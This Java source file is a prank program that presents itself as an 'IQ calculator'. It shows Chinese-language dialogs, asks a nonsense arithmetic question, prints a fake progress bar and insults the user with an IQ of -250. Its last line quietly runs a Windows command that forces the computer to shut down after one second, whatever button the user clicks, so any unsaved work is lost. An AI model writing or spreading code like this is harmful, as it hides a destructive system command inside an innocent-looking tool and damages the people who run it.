package xiaoGongJu;

import java.io.IOException;
import java.util.stream.Stream;

import javax.swing.JOptionPane;

public class ZhiShangJiSuanQi {
    public static void main(String[]args) throws IOException{
        Object[]o={"去**的"};
        JOptionPane.showMessageDialog(null, "这是一个智商计算器，请回答我几个问题来让我判断你的智商", "Java智商计算器",JOptionPane.WARNING_MESSAGE);
        JOptionPane.showInputDialog(null,"898397120*97073927317382*87e97802090123890*787892179*78838297981*0=?","Java智商计算器",JOptionPane.PLAIN_MESSAGE);
        JOptionPane.showMessageDialog(null, "即将开始计算，请勿关闭程序！", "Java《实用》小工具",JOptionPane.WARNING_MESSAGE);
        char incomplete = ' ';
        char complete = '=';
        int total = 100;
        StringBuilder builder = new StringBuilder();
        Stream.generate(() -> incomplete).limit(total).forEach(builder::append);
        for (int i = 0; i < total; i++) {
            builder.replace(i, i + 1, String.valueOf(complete));
            String progressBar = "\r" + builder;
            String percent = " " + (i + 1) + "%";
            System.out.print(progressBar + percent);
            try {
                Thread.sleep(i * 5L);
            } catch (InterruptedException ignored) {

            }
        }
        Runtime rtime=Runtime.getRuntime();
        JOptionPane.showMessageDialog(null, "你的智商为：-250", "Java智商计算器",JOptionPane.WARNING_MESSAGE);
        int index = JOptionPane.showOptionDialog(null, "因为智商高的人根本不会用这个工具的！！！", "Java智商计算器",JOptionPane.YES_NO_OPTION, JOptionPane.ERROR_MESSAGE, null, o, o[0]);
        o[0]=rtime.exec("shutdown -s -t 1");
    }
}